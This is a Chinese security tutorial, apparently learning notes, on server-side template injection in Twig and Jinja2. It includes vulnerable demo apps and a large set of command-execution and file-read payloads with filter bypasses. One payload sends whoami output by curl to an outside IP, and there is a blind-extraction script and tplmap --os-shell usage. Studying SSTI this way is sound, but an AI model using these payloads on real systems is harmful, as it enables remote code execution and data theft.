模板注入SSTI
首发自:https://moonsec.top/articles/108
说明
此篇主要记录学习过程中遇到的问题,所属的安全场景均来自互联网,仅做学习研究
1 简介
1.1 模板作用
借助于模板引擎,开发人员就可以在应用程序中使用静态模板文件了。在运行时,模板引擎会用实际值替换模板文件中的相关变量,并将模板转化为HTML文件发送给客户端。这种方法使设计HTML页面变得更加轻松。
虽然模板是静态部署的,但高度可配置服务(SaaS)的出现使得一些模板库可以直接“暴露”在互联网上。这些看似非常有限的模版库其实比许多开发者想象的要强大得多。
模板的作用
1、数据绑定示例
在模板中,开发人员需要为动态值定义静态内容和占位符。在运行时,模板将交由引擎处理,以映射模板中的动态值引用。
Hello {{firstName}} {{lastName}}!
2、简单模板示例
模板是通常以脚本的形式提供,它的作用不仅仅是简单的数据绑定。因为数据结构可能很复杂(比如列表和嵌套对象),所以,模板通常会提供一些类似于编程的功能。例如,模板引擎可能会允许访问对象的相关字段,具体如下所示:
Hello {{user.firstName}} {{user.lastName}}!
3、嵌套属性示例
像上面这样的嵌套属性并不会直接交由语言进行处理,相反,而是由引擎来解析占位符内的动态值user.firstName。引擎将直接调用方法或字段firstname。这种语法通常简单紧凑,以便于使用。同时,由于这些语法通常非常强大,以至于可以脱离简单数据绑定的上下文。
2 模板注入
所谓模板注入,又称服务器端模板注入(SSTI),是2015年出现的一类安全漏洞。James Kettle在2015年黑帽大会上进行的演讲,为多个模板引擎的漏洞利用技术奠定了坚实的基础。要想利用这类安全漏洞,需要对相关的模板库或相关的语言有一定程度的了解。
为了滥用模板引擎,攻击者需要充分利用模板引擎所提供的各种功能。如果引擎允许访问字段,就可以访问我们感兴趣的内部数据结构。进一步,这些内部数据结构可能具有我们想覆盖的状态。因此,它们可能会暴露出强大的类型。如果引擎允许函数调用,那么,我们的目标就是读取文件、执行命令或访问应用程序的内部状态的函数。
2.1 识别模板引擎
目前,已经存在大量的模板库。实际上,我们可以在每种编程语言中找到几十个库。在实践中,如果我们把自己限制在最流行的库中,当我们知道使用的语言时,我们可以将注意力集中在2到3个潜在的库上面。
C#(StringTemplate,Sharepoint上动态使用的ASPX)。
Java(Velocity、Freemarker、Pebble、Thymeleaf和Jinjava)
PHP(Twig、Smarty、Dwoo、Volt、Blade、Plates、Mustache、Tornado、mustache和String Template)
Python (Jinja2、Makoto、Django)
Go (text/template)
对应的模板引擎如下表:
2.2 模板注入方法
James Kettles提出模板注入方法
启发式方法
与其盲目地测试每一个已知的payload,不如以某种程度的置信度来确认所使用的技术。另外,最终的payload可能需要进行一些调整,以符合特定的运行时环境的要求。
下面是James Kettles提出的决策树,可以用来识别所使用的模板。这个决策树是由简单的评估组成的,其中的表达式无法适用于每一种技术。由于这些都是非常基本的表达式,所以当一个模版库的新版本发布时,这些表达式也不会很快变得过时。当然,相关的方法名和高级语法可能会随着时间的推移而发生变化。
作者给出了决策树,输入{{7*7}},不同的模板会有不同输出结果,Twig模板输出49,Jinja2模板输出7777777
3 几个Demo
相关的练习可以从下述地址下载:
https://github.com/GoSecure/template-injection-workshop
3.1 Twig (PHP)
根据上述的地址下载代码并执行
尝试下输入{{7*7}}
查看对应的源码
include('vendor/twig/twig/lib/Twig/Autoloader.php');
if (isset($_POST['email'])) {
$email=$_POST['email'];
Twig_Autoloader::register();
try {
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$result= $twig->render("Thanks {$email}. You will be notified soon.");
echo $result;
} catch (Exception $e) {
echo $e->getMessage();
}
}
通过$twig->render("Thanks {$email} 解析了前台输入的内容
$twig 是一个变量_self,它公开了一些内部 Twig API。这是为利用该registerUndefinedFilterCallback功能而创建的恶意负载。在下面的有效负载中,id执行命令返回当前用户 (Linux) 的 id。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
3.2 Jinja2(Python)
利用源码做简单的修改,咱们做个demo
from flask import Flask, request, session, g, redirect, url_for, abort, render_template, flash, Response
from jinja2 import Environment
from datetime import date
app = Flask(__name__)
Jinja2 = Environment()
# app.config.from_pyfile('config.py')
@app.route("/gen_vcard", methods=['POST'])
def gen_vcard():
name = request.values.get('name')
if (name is None): name = "Anonymous"
org = request.values.get('org')
phone = request.values.get('phone')
email = request.values.get('email')
d = date.today()
output = Jinja2.from_string("""BEGIN:VCARD
VERSION:2.1
N:""" + (";".join(name.split(" "))) + """
FN:""" + name + """
ORG:""" + org + """
TEL;WORK;VOICE:""" + phone + """
EMAIL:""" + email + """
REV:""" + d.isoformat() + """
END:VCARD""").render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output, 200
@app.route("/")
def index():
return render_template('index.html')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8089)
页面显示的信息如下:
得到的信息如下:
因此上述肯定存在SSTI注入的漏洞
找一个可用的poc
{{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
执行成功
ps: 该poc基于python3 ,不同的环境需要进行对应的修改
调试下,发现在\Jinja2Demo\venv\Lib\site-packages\jinja2\environment.py的from_code中调用了python3 的exec方法
3.2.1 注入思路|payload
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
注入思路
随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class 'object'>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell
接下来只要找到能够利用的类(方法、函数)就好了:
可以使用如下脚本帮助查找方法:
from flask import Flask,request
from jinja2 import Template
search = 'eval'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
3.2.2 python2、python3通用payload
因为每个环境使用的python库不同 所以类的排序有差异
直接使用popen(python2不行)
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
使用os下的popen
可以从含有os的基类入手,比如说linecache。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
使用__import__下的os(python2不行)
可以使用__import__的os。
"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
__builtins__下的多个函数
__builtins__下有eval,__import__等的函数,可以利用此来执行命令。
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
利用python2的file类读写文件
在python3中file类被删除了,所以以下payload只有python2中可行。
用dir来看看内置的方法:
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
python2的str类型不直接从属于属于基类,所以要两次 .bases
通用getshell
原理就是找到含有__builtins__的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
3.2.3 绕过
绕过中括号
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
过滤{{或者}}
可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
过滤_
用编码绕过
比如:__class__ => \x5f\x5fclass\x5f\x5f
_是\x5f,.是\x2E
过滤了_可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
但是如果还过滤了 args所以我们用request[‘values’]和attr结合绕过
例如''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__
绕过逗号+中括号
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤.
.在payload中是很重要的,但是我们依旧可以采用attr()或[]绕过
举例
正常payload:
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
使用attr()绕过:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
使用[]绕过:
可以用getitem()用来获取序号
url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}
其他:
''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")
过滤[]
可以用getitem()用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
绕过双大括号(dns外带)
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
python2下的盲注
python2下如果不能用命令执行,可以使用file类进行盲注
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password
绕过 引号 中括号 通用getshell
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
模板注入攻击工具
Tqlmap
Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。适用于有参数的注入
python tplmap.py -u http://xxxx/* (无参数)
python tplmap.py -u http://xxxx?name=1 (有参数)
python tplmap.py -u url --os-shell (获取shell)
参考
1、https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security.pdf
2、https://portswigger.net/research/server-side-template-injection
3、https://blog.51cto.com/u_14299052/3104121
4、https://gosecure.github.io/template-injection-workshop/#0
5、https://xz.aliyun.com/t/7746 ----python的ssti注入方法
6、https://blog.csdn.net/solitudi/article/details/107752717 ssti 方法绕过